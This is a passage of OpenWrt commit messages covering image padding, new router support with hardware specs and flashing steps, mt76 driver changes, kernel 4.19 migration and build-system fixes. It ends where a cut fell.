It's being used only in x86 target to produce combined images, where
it's mandatory to have padded images in order to produce working
squashfs combined images usable in QEMU.
Currently we're producing unusable x86 combined squashfs images
(18.06.1, 18.06.2 and snapshots) as we don't enable TARGET_IMAGES_PAD,
thus providing very small space for the overlay filesystem, leading to
the following with OpenWrt 18.06.1 r7258-5eb055306f images on x86 QEMU:
root@(none):/# mount | egrep 'root|overlay'
/dev/root on /rom type squashfs
/dev/loop0 on /overlay type ext4
overlayfs:/overlay on / type overlay
root@(none):/# df -h | egrep 'root|overlay|Size'
Filesystem Size Used Available Use% Mounted on
/dev/root 2.5M 2.5M 0 100% /rom
/dev/loop0 113.0K 8.0K 97.0K 8% /overlay
overlayfs:/overlay 113.0K 8.0K 97.0K 8% /
So we should rather ensure proper image padding in image generation code
and we shouldn't rely on config options in order to generate usable
images.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Hardware specs:
SoC: Mediatek MT7621A
CPU: 4x 880Mhz
Cache: 32 KB I-Cache and 32 KB D-Cach
256 KB L2 Cache (shared by Dual-Core)
RAM: DDR3 512MB 16bits BUS
FLASH: 16MB
Switch: Mediatek Gigabit Switch (1 x LAN, 1 x WAN)
USB: 1x 3.0
PCI: 3x Mini PCIe
GPS: Quectel L70B
BTN: Reset
LED: - Power
- Ethernet
- Wifi
- USB
UART: UART is present as Pads with throughholes on the PCB.
They are located on left side.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation:
The stock image is a modified openwrt and can be overflashed via
# sysupgrade -F image.bin
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[removed unused label, formatting]
This patch fixes the previous commit that rendered the
devices (mostly leds) useless.
Fixes: 1fa24de8c2 ("ath79: spi-gpio: convert deprecated binding")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Declaring a package without the appropriate install section is an easy
mistake to make, especially when renaming packages. Since this is also
easy to detect, warn about it when it happens.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
No-objections-at-all-by: Jo-Philipp Wich <jo@mein.io>
b3a2965 mt76x02: fix crash on device reset
ffddb68 mt76x02u: check chip version on probe
7fc5f92 mt76x2u: remove duplicated entry in mt76x2u_device_table
61311d9 mt76: introduce mt76_free_device routine
a7dfcf2 mt76: move mac_work in mt76_dev
334b4ce mt76: add mac80211 driver for MT7615 PCIe-based chipsets
edb2a00 mt76: add unlikely() for dma_mapping_error() check
355c079 mt76: use macro for sn and seq_ctrl conversion
133bffb add firmware for MT7615E
49d9c1b mt76: usb: reduce locking in mt76u_tx_tasklet
3e371ca mt76: set txwi_size according to the driver value
5007326 mt76: add skb pointer to mt76_tx_info
c47a568 mt76: dma: introduce skb field in mt76_txwi_cache
9029560 mt76: dma: add skb check for dummy pointer
e9eea39 mt76: mt7615: use sizeof instead of sizeof_field
98c5359 Revert "mt76: fix potential deadlock on cancelling workqueues"
bc9baa7 mt76x02u: remove bogus stop on suspend
6c1cab9 mt76usb: fix tx/rx stop
0e674c5 mt76x02: remove bogus mutex usage
59f7bb6 Revert "mt76: mt76x02: send no-skb tx status without holding the status lock"
b0f2a30 mt76x02: avoid status_list.lock and sta->rate_ctrl_lock dependency
62054de mt76: mt7603: remove query from mt7603_mcu_msg_send signature
e79d96a mt76: mt7603: use standard signature for mt7603_mcu_msg_send
be8f039 mt76: mt7603: initialize mt76_mcu_ops data structure
9a9c656 mt76: introduce mt76_mcu_restart macro
980b91e mt76: mt7603: init mcu_restart function pointer
a97db3f mt76: mt7603: run __mt76_mcu_send_msg in mt7603_mcu_send_firmware
151115f mt76: mt76x02: mt76x02_poll_tx() can be static
7391f98 mt76: fix endianness sparse warnings
6c06f73 mt76: mt7603: report firmware version using ethtool
f06647e mt76: usb: use EP max packet aligned buffer sizes for rx
f43fccf mt76: move beacon_int in mt76_dev
74ab2cf mt76: move beacon_mask in mt76_dev
23c2f94 mt76: add TX/RX antenna pattern capabilities
6e790e1 mt76: move pre_tbtt_tasklet in mt76_dev
7606c08 mt76: mt7603: enable/disable pre_tbtt_tasklet in mt7603_set_channel
ff22eee mt76: do not enable/disable pre_tbtt_tasklet in scan_start/scan_complete
3157385 mt76: mt7603: dynamically alloc mcu req in mt7603_mcu_set_eeprom
cc674e2 mt76: mt76x02: remove useless return in mt76x02_resync_beacon_timer
6b18427 mt76: move tx_napi in mt76_dev
bce63c4 mt76: mt7603: use napi polling for tx cleanup
4afd89e mt76: mt7615: use napi polling for tx cleanup
2cb4683 mt76: move netif_napi_del in mt76_dma_cleanup
b4ceb9f mt76: Fix a signedness bug in mt7615_add_interface()
d00dc95 mt76: mt7615: Use after free in mt7615_mcu_set_bcn()
4e0ccc6 mt76: mt7615: Make mt7615_irq_handler static
0fd552a mt7615: mcu: simplify __mt7615_mcu_set_wtbl
50f7094 mt7615: mcu: simplify __mt7615_mcu_set_sta_rec
4434d04 mt7615: mcu: remove bss_info_convert_vif_type routine
083fbb9 mt7615: mcu: use proper msg size in mt7615_mcu_add_wtbl_bmc
f61ca80 mt7615: mcu: use proper msg size in mt7615_mcu_add_wtbl
35bd12d mt7615: mcu: unify mt7615_mcu_add_wtbl_bmc and mt7615_mcu_del_wtbl_bmc
f8f990b mt7615: mcu: remove unused parameter in mt7615_mcu_del_wtbl
965bca1 mt7615: remove query from mt7615_mcu_msg_send signature
9b9ca18 mt7615: remove dest from mt7615_mcu_msg_send signature
935b7e5 mt7615: mcu: remove skb_ret from mt7615_mcu_msg_send
2442db4 mt7615: mcu: unify __mt7615_mcu_set_dev_info and mt7615_mcu_set_dev_info
645bc45 mt7615: mcu: do not use function pointers whenever possible
40c4201 mt7615: mcu: remove unused structure in mcu.h
a8834a2 mt7615: mcu: use standard signature for mt7615_mcu_msg_send
824d25c mt7615: initialize mt76_mcu_ops data structure
d943427 mt7615: mcu: init mcu_restart function pointer
c2211e4 mt7615: mcu: run __mt76_mcu_send_msg in mt7615_mcu_send_firmware
cb63a06 mt76: mt7603: stop mac80211 queues before setting the channel
c6aaa3a mt76: mt7615: rearrange cleanup operations in mt7615_unregister_device
97609f3 mt76: mt7615: add static qualifier to mt7615_rx_poll_complete
f9dadd2 mt76: mt7603: add debugfs knob to enable/disable edcca
89cda5d mt7603: fix reading target tx power from eeprom
77d0e33 mt76: fix setting chan->max_power
f575da2 mt76: mt76x02: fix tx status reporting issues
a5d18dc mt76: mt76x02: fix tx reordering on rate control probing without a-mpdu
bd32a93 mt76: mt76x02: remove enable from mt76x02_edcca_init signature
18386ee mt76: mt76x2u: remove mt76x02_edcca_init in mt76x2u_set_channel
da3514f mt76: mt76x2: move mutex_lock inside mt76x2_set_channel
0d4719c mt76: mt76x02: run mt76x02_edcca_init atomically in mt76_edcca_set
fd5af73 mt76: mt76x02: fix edcca file permission
a0f51f2 mt76: mt7615: do not process rx packets if the device is not initialized
753cdee mt76: mt7615: stop mcu first in mt7615_unregister_device
899efe7 mt76: move mt76_insert_ccmp_hdr in mt76-module
6960b6e mt76: mt7615: add support for mtd eeprom parsing
4bcb057 mt76: mt7615: select wifi band according to eeprom
866f2c6 mt76: generalize mt76_get_txpower for 4x4:4 devices
514fb04 mt76: mt7615: add the capability to configure tx power
ced9d43 mt76: mt7615: init get_txpower mac80211 callback
8abd502 mt76: mt7615: rearrange locking in mt7615_config
5b9b62e mt76: move mt76_get_rate in mt76-module
661c7c8 mt76: Remove set but not used variables 'pid' and 'final_mpdu'
f072c7b mt76: mt7615: enable support for mesh
28d9496 mt76: mt7615: fix slow performance when enable encryption
827b9ad mt76: mt7615: remove unused variable in mt7615_mcu_set_bcn
34eea14 mt76: mt7615: remove key check in mt7615_mcu_set_wtbl_key
2bfae5a mt76: usb: fix rx A-MSDU support
b033532 mt76: usb: do not always copy the first part of received frames
3e7fc15 mt76x02: fix reporting of non-probing frames with tx status requested
0d5caea Revert "mt76: usb: do not always copy the first part of received frames"
335e8c6 Revert "mt76: usb: fix rx A-MSDU support"
47ddf4b mt76: revert support for TX_NEEDS_ALIGNED4_SKBS
0b6520b mt7603: rework and fix tx status reporting
539b679 mt7603: improve hardware rate switching configuration
d86d6ef mt76x0: fix RF frontend initialization for external PA
f476a14 mt76x02: fix endian issue in tx status reporting patch
f8d0517 mt76: mt7615: simplify mt7615_mcu_set_sta_rec routine
73ff45f mt76: mt7615: add support for per-chain signal strength reporting
9b67ae6 mt76: mt7615: init per-channel target power
160fdc0 mt76: mt7615: take into account extPA when configuring tx power
2211d93 mt76: mt76x02u: fix sparse warnings: should it be static?
3750533 mt76: mt7615: fix incorrect settings in mesh mode
c37c1ca mt76: mt7615: update peer's bssid when state transition occurs
9dd1089 mt76: mt76u: reduce rx memory footprint
0789f45 mt76: mt7615: remove cfg80211_chan_def from mt7615_set_channel signature
2dca431 mt76: move nl80211_dfs_regions in mt76_dev data structure
3386ccf mt76: mt76u: get rid of {out,in}_max_packet
d680ab0 mt76: usb: fix rx A-MSDU support
Signed-off-by: Felix Fietkau <nbd@nbd.name>
It seems that newer builds of OpenWRT have a gzip kernel
larger than 2MB~, which for some reason fails to boot on this board.
However, we have 8MB of kernel space and currently the uncompressed
kernel is 6.5MB~, so we have some space to grow until a better
solution is worked out.
Before:
## Booting kernel from Legacy Image at ee840000 ...
Image Name: Linux-4.19.53
Created: 2019-06-22 11:17:48 UTC
Image Type: PowerPC Linux Kernel Image (gzip compressed)
Data Size: 2315724 Bytes = 2.2 MB
Load Address: 00000000
Entry Point: 00000000
Verifying Checksum ... OK
## Loading init Ramdisk from Legacy Image at 02000000 ...
Image Name: OpenWrt fake ramdisk
Created: 2019-06-22 11:17:48 UTC
Image Type: PowerPC Linux RAMDisk Image (uncompressed)
Data Size: 0 Bytes = 0 kB
Load Address: 00000000
Entry Point: 00000000
Verifying Checksum ... OK
## Flattened Device Tree blob at ec000000
Booting using the fdt blob at 0xec000000
Uncompressing Kernel Image ... Error: Bad gzipped data
GUNZIP: uncompress, out-of-mem or overwrite error -
must RESET board to recover
Loading Ramdisk to 10000000, end 10000000 ... OK
Loading Device Tree to 00ffa000, end 00fffc78 ... OK
ft_fixup_l2cache: FDT_ERR_NOTFOUND
After:
## Booting kernel from Legacy Image at ee840000 ...
Image Name: POWERPC OpenWrt Linux-4.19.53
Created: 2019-06-22 11:17:48 UTC
Image Type: PowerPC Linux Kernel Image (uncompressed)
Data Size: 6724584 Bytes = 6.4 MB
Load Address: 00000000
Entry Point: 00000000
Verifying Checksum ... OK
## Loading init Ramdisk from Legacy Image at 02000000 ...
Image Name: OpenWrt fake ramdisk
Created: 2019-06-22 11:17:48 UTC
Image Type: PowerPC Linux RAMDisk Image (uncompressed)
Data Size: 0 Bytes = 0 kB
Load Address: 00000000
Entry Point: 00000000
Verifying Checksum ... OK
## Flattened Device Tree blob at ec000000
Booting using the fdt blob at 0xec000000
Loading Kernel Image ... OK
OK
Loading Ramdisk to 10000000, end 10000000 ... OK
Loading Device Tree to 00ffa000, end 00fffc78 ... OK
Signed-off-by: Chris Blake <chrisrblake93@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [75 cpl limit]
The 4.19 code has been available for some time now.
Since the f2fs / loop issue has been under control
I think it's time the target gets to move to it.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch replaces the OpenWrt' favoured
CRC32 Sarwate algorithm with the kernel
recommended SLICE8 CRC32 version.
This change alone lifted btrfs writes from 40 MiB/s
to 54 MiB/s on my My Book Live (SLICE4 managed 48 MiB/s).
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
TP-Link CPE610-v1 is an outdoor wireless CPE for 5 GHz with
one Ethernet port based on Atheros AR9344
Specifications:
- Based on the same underlying hardware as the TP-Link CPE510
- Power, LAN, WLAN5G green LEDs
- 23dBi high-gain directional 2×2 MIMO antenna and a dedicated metal reflector
Flashing instructions:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
This patch is in a series to allow additional STOP indexes after
umount, so that other block devices may stop cleanly.
rssileds.init is now STOP=89
Signed-off-by: Joseph Tingiris <joseph.tingiris@gmail.com>
This patch is in a series to allow additional STOP indexes after umount,
so that other block devices may stop cleanly.
kdumpinit is now STOP=90
Signed-off-by: Joseph Tingiris <joseph.tingiris@gmail.com>
This patch is in a series to allow additional STOP indexes after umount,
so that other block devices may stop cleanly.
boot is now STOP=90
umount is now STOP=90
After this patch series, the resulting STOP indexes in the 80s & 90s
will be:
STOP=85 odhcpd.init
STOP=89 conntrackd.init
STOP=89 log.init
STOP=89 rssileds.init
STOP=90 boot
STOP=90 kdump.init
STOP=90 network
STOP=90 sysfixtime
STOP=90 umount
STOP=98 mdadm.init (note: will be addressed in a separate patch)
Signed-off-by: Joseph Tingiris <joseph.tingiris@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[PKG_RELEASE is now 200]
Commit fcb41decf6 ("config: enable some useful features on
!SMALL_FLASH devices") enabled netns, which in turn lead to the crash in
the flow offload target.
When the flow offloading framework intends to delete a flow from the
hardware table, it is necessary to retrieve the namespace from
nf_flowtable->ft_net. However, no one ever wrote the namespace into
nf_flowtable->ft_net in advance. So the framework will mistakenly use a
NULL namespace to execute dev_get_by_index_rcu(net, ifindex), leading to
the kernel panic.
Ref: FS#2321
Fixes: fcb41decf6 ("config: enable some useful features on !SMALL_FLASH devices")
Tested-by: Simon Tretter <simon@mediaarchitectu.re>
Signed-off-by: HsiuWen Yen <y.hsiuwen@gmail.com>
[merged patch into offload patch, fix for 4.19, SOB fix, commit subj/msg touches]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch adds a promising upstream patch that claims
to help for the treated I/O errors happening on f2fs
or ext4 on real block devices.
|print_req_error: I/O error, dev loop1, sector 1334
Link: <https://patchwork.kernel.org/cover/10931787/>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Daniel Engberg requested switching over to https transport
since he seems to be stuck behind a corporate firewall that
does all the wrong things.
Rick Felker noted that this is "experimental and might break".
<https://www.openwall.com/lists/musl/2019/03/27/1>.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch fixes the ath79-nand build error:
|Package kmod-tpm is missing dependencies for the following libraries:
|rng-core.ko
by making it depend on rng-core from 4.19 onwards.
This should work as 4.9 is gone so only 4.14 and 4.19
are there.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
'38b22b1e: deduplicate files in libnghttp2' missed duplicates in
staging_dir by Build/InstallDev.
Signed-off-by: Eneas U de Queiroz <cote2004-github@yahoo.com>
The OpenWrt buildroot ABI version rebuild tracker does not handle
transient dependencies, therefor add all libraries linked by rpcd
as direct dependencies to the corresponding binary package definition.
This ensures that rpcd is automatically rebuilt and relinked if any
of these libraries has its ABI_VERSION updated in the future.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Recent kernel versions need toolchain in order to properly configure
kernel, for example to set CC_HAS_ASM_GOTO config symbol, so missing
toolchain leads to the following error while running `make
kernel_oldconfig` on ath79 target with 4.19 kernel in the clean tree:
init/Kconfig:17: syntax error
init/Kconfig:16: invalid option
./scripts/clang-version.sh: line 15: mips-openwrt-linux-musl-gcc: command not found
./scripts/gcc-plugin.sh: line 11: mips-openwrt-linux-musl-gcc: command not found
net/sched/Kconfig:44: warning: menuconfig statement without prompt
make[4]: *** [scripts/kconfig/Makefile:69: oldconfig] Error 1
So in order to support this new kernel versions, this patch adds
toolchain as a hard dependency to the kernel_*config targets.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Restarting service causes file-systems to be unmounted without being
mounted back. When this service was obsoleted it should have been
implemented in a way that all actions are ignored. Up to this commit
default handler was called when restart was requested. This default
handler just simply calls stop and start. That means that stop called
unmount but start just printed that this service is obsoleted.
This instead implements restart that just prints same message like start
does. It just calls start in reality. This makes restart unavailable for
call.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
Extend the packageauxvars database to keep a list of possible package
dependencies for each provider, then utilize this information in buildroot
to resolve the ABI version dependencies of dependent packages up to five
levels deep.
This should properly trigger rebuilds for packages indirectly depending
on other packages whose ABI_VERSION changed.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This is mainly for kmod-br-netfilter. To turn off
bridge-netfilter-call-xxx immediately after installation
While at it
- Define filelist="/usr/lib/opkg/info/${pkgname}.list"
- Reuse "[ -z "$root" ]"
- Grep with "-m1"
Fixes FS#2300
Reported-by: Marco Sartorius <tidbits@ormoorgmen.info>
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Follow upstream changes - header file changes only
no functional or executable changes, hence no package bump
required
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
It's a simple typo in the DNS file, which was pretty serious.
No scripts were working properly. Fix it up.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[integrate upstream patch into openwrt target]
This adds the dm-raid kmod, which is needed for
LVM builtin raid configurations, aka "MD-over-LVM"
Signed-off-by: Chris Koying Browet <cbro@semperpax.com>
Support to disable the timestamp check for certificates in
wpa_supplicant (Useful for devices without RTC that cannot
reliably get the real date/time) has been accepted in the
upstream hostapd. It's implemented in wpa_supplicant as a
per-AP flag tls_disable_time_checks=[0|1].
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
bnx2x driver support for the x86 architecture. Includes module and
firmware for Broadcom QLogic 5771x/578xx 10/20-Gigabit ethernet
adapters.
Signed-off-by: Petko Bordjukov <bordjukov@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[added +kmod-lib-zlib-inflate as well]
When OEM volumes are present in the [alt_]firmware partition,
sysupgrade will write a new kernel, but will fail to write
the root file system. The next boot will hang indefinitely
Waiting for root device /dev/ubiblock0_0...
Modified ipq40xx/base-files/lib/upgrade/linksys.sh
to remove both `squashfs` and `ubifs` if found
on the target firmware partition's UBI device.
Run-tested-on: Linksys EA8300
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[applied some shellcheck suggestions as well]
This patch adds a missing type property. This fixes
the creation of oneshot and timer led triggers like:
| ucidef_set_led_timer "system" "system" "zhuotk:green:system" "1000" "1000"
from /etc/init.d/01_leds.
Fixes: b06a286a48 ("base-files: cleanup led functions in uci-defaults.sh")
Signed-off-by: Robinson Wu <wurobinson@qq.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
"There are often transient line events when
the system is powered up and initialized and it
is often necessary for the gpio_chip driver to
clear any interrupt flags in hardware before
setting up the gpio chip, especially the
irqchip portions of it."
<http://lists.infradead.org/pipermail/openwrt-devel/2019-June/017630.html>
This patch adds a fix for the APM821XX's interrupt
controller to clear any bogus pending toggled
interrupts that happens on various APM821XX boards
on boot.
The patch also changes the debouce-interval from the
default 5ms debounce interval to 60ms all around.
The default setting caused on occasions that the button
state became stuck in a pressed state, even though the
button was released.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The OpenWrt buildroot ABI version rebuild tracker does not handle
transient dependencies, therefor add all libraries linked by uhttpd
as direct dependencies to the corresponding binary package definition.
This ensures that uhttpd is automatically rebuilt and relinked if any
of these libraries has its ABI_VERSION updated in the future.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The Makefile was missing dependencies on *c_shipped, so changes never
triggered a rebuild. Add these as optional dependencies so their absence
isn't treated as an error.
In addition, fix a typo preventing the zconf.lex.o from being removed on
clean.
Fixes: 9d5510a500 ("build: add new menuconfig code based on linux 3.9")
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Acked-by: Jo-Philipp Wich <jo@mein.io>
calc_vmlinuz_load_addr.c requires SZ_64K to be defined for alignment
purposes. It included "../../../../include/linux/sizes.h" to define
that size, however "sizes.h" tries to include <linux/const.h> which
assumes linux system headers. These may not exist eg. the following
error was encountered when building Linux for OpenWrt under macOS:
In file included from arch/mips/boot/compressed/calc_vmlinuz_load_addr.c:16:
arch/mips/boot/compressed/../../../../include/linux/sizes.h:11:10: fatal error: 'linux/const.h' file not found
Change makefile to force building on local linux headers instead of
system headers. Also change eye-watering relative reference in include
file spec.
Thanks to Jo-Philip Wich & Petr Štetiar for assistance in tracking this
down & fixing.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
When there are multiple packages providing a meta-package, it is
possible to to create a config where a package is selected as =y, but
all of its dependency providers are just selected as =m. This is due to
the selection statement being just
config PACKAGE_foo
select PACKAGE_bar if !PACKAGE_baz
which is already fulfilled by PACKAGE_bar=m. Fix this by properly
comparing the selection states:
config PACKAGE_foo
select PACKAGE_bar if PACKAGE_baz<PACKAGE_foo
Also invert the select conditions to improve readability.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
[slightly reword commit message]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
After commit e82a4d9cfb ("config: regenerate *_shipped sources") the mconf
parser became more strict as a side effect and started to spew a series of
warnings when evaluating our generated kconfig sources:
tmp/.config-package.in:705:warning: ignoring unsupported character '@'
The root cause of these warnings is a wrong use of the @SYMBOL dependency
syntax in various Makefile. Fix the corresponding Makefiles by turning
`@SYM||@SYM2` expressions into the proper `@(SYM||SYM2)` form.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Since commit 31847b67bec0 ("kconfig: allow use of relations other than
(in)equality") it is possible to use relational operators in Kconfig
statements. However, those operators give unexpected results when
applied to bool/tristate values:
(n < y) = y (correct)
(m < y) = y (correct)
(n < m) = n (wrong)
This happens because relational operators process bool and tristate
symbols as strings and m sorts before n. It makes little sense to do a
lexicographical compare on bool and tristate values though.
Documentation/kbuild/kconfig-language.txt states that expression can have
a value of 'n', 'm' or 'y' (or 0, 1, 2 respectively for calculations).
Let's make it so for relational comparisons with bool/tristate
expressions as well and document them. If at least one symbol is an
actual string then the lexicographical compare works just as before.
Signed-off-by: Nicolas Pitre <nico@linaro.org>
Acked-by: Randy Dunlap <rdunlap@infradead.org>
Tested-by: Randy Dunlap <rdunlap@infradead.org>
Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
[rebased against OpenWrt kconfig, slightly reword commit message]
(backported from upstream 9059a3493efea6492451430c7e2fa0af799a2abb)
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The pregenerated `zconf.hash.c` and `zconf.lex.c` files have not been
kept in sync with their respective `*.y` and `*.l` sources in the past
causing our kconfig implementation to not recognize important kconfig
grammer elements such as relational `<`, `<=`, `>` and `>=` operators.
Fixes: 2d7e602381 ("scripts/config: sync with latest linux upstream")
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
[reword commit message]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The OpenWrt buildroot ABI version rebuild tracker does not handle
transient dependencies, therefor add all libraries linked by procd
as direct dependencies to the corresponding binary package definition.
This ensures that procd is automatically rebuilt and relinked
if any of these libraries has its ABI_VERSION updated in the
future.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This fixes lower case AC in the DTS model name.
Fixes: 88f7a29f99 ("ramips: add support for Edimax EW-7476RPC / EW-7478AC")
Reported-by: Cezary Jackiewicz <cezary@eko.one.pl>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Upstream commit 6d4cd04 changes how the internal delays of the AR803x
based PHYs are enabled. With this commit, all internal delays are
disabled on driver probe and enabled based on the 'phy-mode' property in
the device-tree.
Before this commit, the RX delay was always enabled upon soft-reset
while the TX delay retained it's previous state. A hard reset enabled
the RX delay while the TX delay was disabled.
Because of this inconsistency, wrongly specified PHY-modes were working
correctly while the hardware was in a different state.
Fix the PHY-modes of some affected devices (and clean up misplaced
properties along the way) to keep the devices working flawlessly with
kernels >= 5.1.
Signed-off-by: David Bauer <mail@david-bauer.net>
In some boards is requred to change the ephy mdio base address.
This patch add of property "mediatek,ephy-base-address" in gsw
part, which allows to change ephy base address.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[fixed indentation in header file]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The port initialisation is based on assumption that phy address and
port number is the same. SoC allow different numbers and some board
have it.
Use phy address instead the port number to make sure that correct
addresses are polled.
In situation when only one PHY with address 0x0 is conected to
port 4, autopolling is broken.
This patch make autopolling correct when port number and phy address
are different.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
The phy handling code forces a phy mdio address and the switch port to
which a phy is attached to be the same. Albeit such a configuration is
used for most boards, it isn't for all.
Pass the switch port number to the ethernet phy connect functions, to
ensure the correct list entry is edited and not the list entry that
matches th phys mdio address.
Use the mdio address with mdiobus_get_phy instead of the port number,
to make sure the expected ethernet phy gets connected.
Signed-off-by: Mathias Kresin <dev@kresin.me>
The whole logic in fe_phy_connect() is based on the asumption that mdio
address and switch port id are equal. Albeit it is true for most
boards, it doesn't is for all.
It isn't yet clear which subtargets/boards require the devicetree less
ethernet phy handling. Hence change the code in a way that it doesn't
touch ethernet phys which were early attached and are already handled.
Signed-off-by: Mathias Kresin <dev@kresin.me>
SoC: MediaTek MT7620a @ 580MHz
RAM: 64M (Winbond W9751G6KB-25)
FLASH: 8MB (Macronix)
WiFi: SoC-integrated: MediaTek MT7620a bgn
WiFi: MediaTek MT7612EN nac
Switch: Mediatek MT7530W Gigabit Switch (4 x LAN, 1 x WAN)
USB: Yes 1 x 2.0 (+ 1 x 2.0 unpopulated header)
BTN: Reset/WPS
LED: - Power (white)
- Internet (blue)
- Wifi (blue)
- USB (blue)
UART: UART is present as Pads with throughholes on the PCB. They are
located in the lower right corner (GbE ports facing up)
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
Update the factory image via the web-interfaces (by default:
http://edimax.setup)
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[merge conflicts in 01_leds and mt7620.mk, dts whitespace issues]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: MediaTek MT7620a @ 580MHz
RAM: 64M (Winbond W9751G6KB-25)
FLASH: 8MB (Macronix)
WiFi: SoC-integrated: MediaTek MT7620a bgn
WiFi: MediaTek MT7612EN nac
GbE: 1x (RTL8211E)
BTN: WPS - RFKILL/RF 50%/RF 100% toggle
LED: - Wifi 5g (blue)
- Wifi 2g (blue)
- Crossband (green)
- Power (green)
- WPS (green)
- LAN (Green)
UART: UART is present as Pads with throughholes on the PCB. They are
located next to the switch for the wifi configuration
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
Update the factory image via the web-interfaces (by default:
192.168.9.2/24).
http://192.168.9.2/index.asp
ramips: add Edimax EW-7478AC
SoC: MediaTek MT7620a @ 580MHz
RAM: 64M (Winbond W9751G6KB-25)
FLASH: 8MB (Macronix)
WiFi: SoC-integrated: MediaTek MT7620a bgn
WiFi: MediaTek MT7612EN nac
GbE: 1x (RTL8211E)
BTN: WPS - RFKILL/RF 50%/RF 100% toggle
LED: - Wifi 5g (blue)
- Wifi 2g (blue)
- Crossband (green)
- Power (green)
- WPS (green)
- LAN (Green)
UART: UART is present as Pads with throughholes on the PCB. They are
located next to the switch for the wifi configuration
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
Update the factory image via the web-interfaces (by default:
http://edimaxext.setup)
Or push wpa button on power on and send firmware via tftp to 192.168.1.6
The EW-7478AC is identical to the EW-7476RPC, except instead of 2 internal
antennas it has 2 external ones.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[merge conflict in 01_leds]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
When targets for multiple ESPRESSObin devices were added, not all
files were updated which means any ESPRESSObin version beside generic
won't have proper networking, sysupgrade and uboot-env. This patch
fixes the issue.
* fixup network detection
* fixup uboot-env
* fixup platform.sh for sysupgrade
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Not all versions of ESPRESSObin require SD card, but can
be booted from the internal emmc flash (mmc dev 1) instead.
Add a simple check in the bootscript to see which mmc device
is detected and boot from it using mmcdev variable.
Tested-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Lets bump kernel to 4.19 on targets which were run tested or got ACKed
so we've enough time to make it ready for next release:
armvirt/32 (runtested in qemu)
armvirt/64 (runtested in qemu)
ath79/generic (runtested on Carambola2)
gemini/generic (runtested on DIR-685, DNS-313, SQ201, SL93512R)
imx6/generic (runtested on Apalis)
ipq40xx/generic (runtested on nbg6617)
malta/be64 (runtested in qemu)
malta/be (runtested in qemu)
malta/le (runtested in qemu)
malta/le64 (runtested in qemu)
mpc85xx/generic (runtested on TL-WDR4900)
mpc85xx/p2020 (runtested on P2020RDB)
mvebu/cortexa53
mvebu/cortexa72
mvebu/cortexa10
octeon/generic (runtested on EdgeRouter Lite)
sunxi/cortexa53 (build tested only)
sunxi/cortexa7 (runtested on Lime2-K)
sunxi/cortexa8 (build tested only)
tegra/generic
x86/64 (runtested in qemu)
Acked-by: Zoltan HERPAI <wigyori@uid0.hu> [sunxi]
Tested-by: Linus Walleij <linus.walleij@linaro.org> [gemini]
Tested-by: Tomasz Maciej Nowak <tomek_n@o2.pl> [mvebu, tegra]
Tested-by: Daniel Engberg <daniel.engberg.lists@pyret.net> [octeon]
Tested-by: Pawel Dembicki <paweldembicki@gmail.com> [mpc85xx/generic mpc85xx/p2020]
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes following kernel build issue on ath79/generic:
